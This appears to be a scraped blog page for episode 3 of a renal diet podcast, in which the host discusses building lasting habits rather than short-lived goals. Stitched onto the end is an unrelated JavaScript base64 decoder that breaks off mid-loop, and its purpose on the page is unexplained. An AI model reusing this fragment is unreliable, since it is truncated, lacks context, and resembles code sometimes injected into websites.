Matheaford

This week I delve into the concept of creating habits that are stronger than goals.  While we discussed goals last time, many of the concepts are actually good ways to change your habits.  I talk in detail about how goals might be short lived, but a habit is a much more long term plan.  I also talk about the time that I moved from saying “I can’t” to “I choose not to” and how it changed my life!  So I want it to change yours as well.  

Finally, add your comment to the post about what challenge you want to take on!  I am challenging myself to create 52 podcasts this year – I am on #2!

 

RDHQ 003 Transcript.

Send us your feedback at podcast@renaldiethq.com

Check us out on iTunes at: Renal Diet HQ Podcast

Follow these topics: Podcast, Renal Diet Headquarters Blog

var base64={};
base64.PADCHAR='=';
base64.ALPHA='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
base64.makeDOMException=function(){var e,t;try{return new DOMException(DOMException.INVALID_CHARACTER_ERR)}catch(t){var n=new Error('DOM Exception 5');n.code=n.number=5;n.name=n.description='INVALID_CHARACTER_ERR';n.toString=function(){return'Error: '+n.name+': '+n.message};return n}};
base64.getbyte64=function(e,t){var n=base64.ALPHA.indexOf(e.charAt(t));if (n===-1){throw base64.makeDOMException()}return n};
base64.decode=function(e){e=''+e;var t=base64.getbyte64;var n,r,i;var s=e.length;if (s===0){return e}if (s%4!==0){throw base64.makeDOMException()}n=0;if (e.charAt(s-1)===base64.PADCHAR){n=1;if (e.charAt(s-2)===base64.PADCHAR){n=2}s-=4}var o=[];for (r=0;r